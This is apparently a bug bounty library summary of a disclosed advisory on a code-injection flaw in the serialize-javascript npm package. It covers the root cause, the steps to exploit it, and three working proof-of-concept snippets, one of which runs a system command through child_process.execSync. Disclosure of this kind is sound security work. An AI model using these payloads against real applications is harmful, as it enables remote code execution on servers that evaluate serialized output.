# Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

serialize-javascript <=7.0.2 interpolates RegExp.flags and Date.toISOString() unescaped, letting attacker-controlled objects inject JS that executes on eval.

- Payout: Research
- Severity: high
- Program: serialize-javascript
- Found by: uug4na, FeBe95
- Disclosed: 2026-02-28
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5c6j-r48x-rmvq
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-5c6j-r48x-rmvq
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** npm library serialize() output evaluated via eval/new Function
**Root cause:** Incomplete fix for CVE-2020-7660: RegExp.source is sanitized but RegExp.flags and Date.prototype.toISOString() return values are interpolated into generated code without escaping.
**Steps:**
1. Craft object passing `instanceof RegExp` via `Object.create(RegExp.prototype)` with getters for `source` and `flags`.
2. Set `flags` getter to return `'"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'` and `toJSON` returning `'@placeholder'`.
3. Call `serialize({ re: fakeRegex })` producing `{"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}`.
4. `eval('obj = ' + output)` executes injected code; for RCE use flags getter returning `require("child_process").execSync("id")`.
5. Same pattern with `Object.create(Date.prototype)` overriding `toISOString` to inject into `new Date(...)`.
**How found:** Reviewing the CVE-2020-7660 fix, noticed only RegExp.source was escaped while flags and Date.toISOString() outputs were concatenated raw; tested with prototype-spoofed objects to bypass instanceof checks.
**Exploitation:** Attacker must control an object passed to serialize() whose output is later eval'd/new Function'd or embedded in a script tag; spoofed RegExp/Date prototypes inject arbitrary JS, escalating to child_process.execSync RCE on Node servers.
**Escalation:** Injection point escalates from global variable write to arbitrary command execution via require('child_process').execSync in the injected expression.
**Insight:** When auditing a prior injection fix, enumerate every sibling property interpolated into generated code (flags, toISOString, etc.) and test with Object.create(Proto.prototype) plus getters to spoof instanceof and control return values.

## Proof of concept (copied exactly from the original report)

**RegExp.flags code injection PoC**

```
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
```

**Date.toISOString injection PoC**

```
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
```

**RCE via child_process execSync PoC**

```
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```

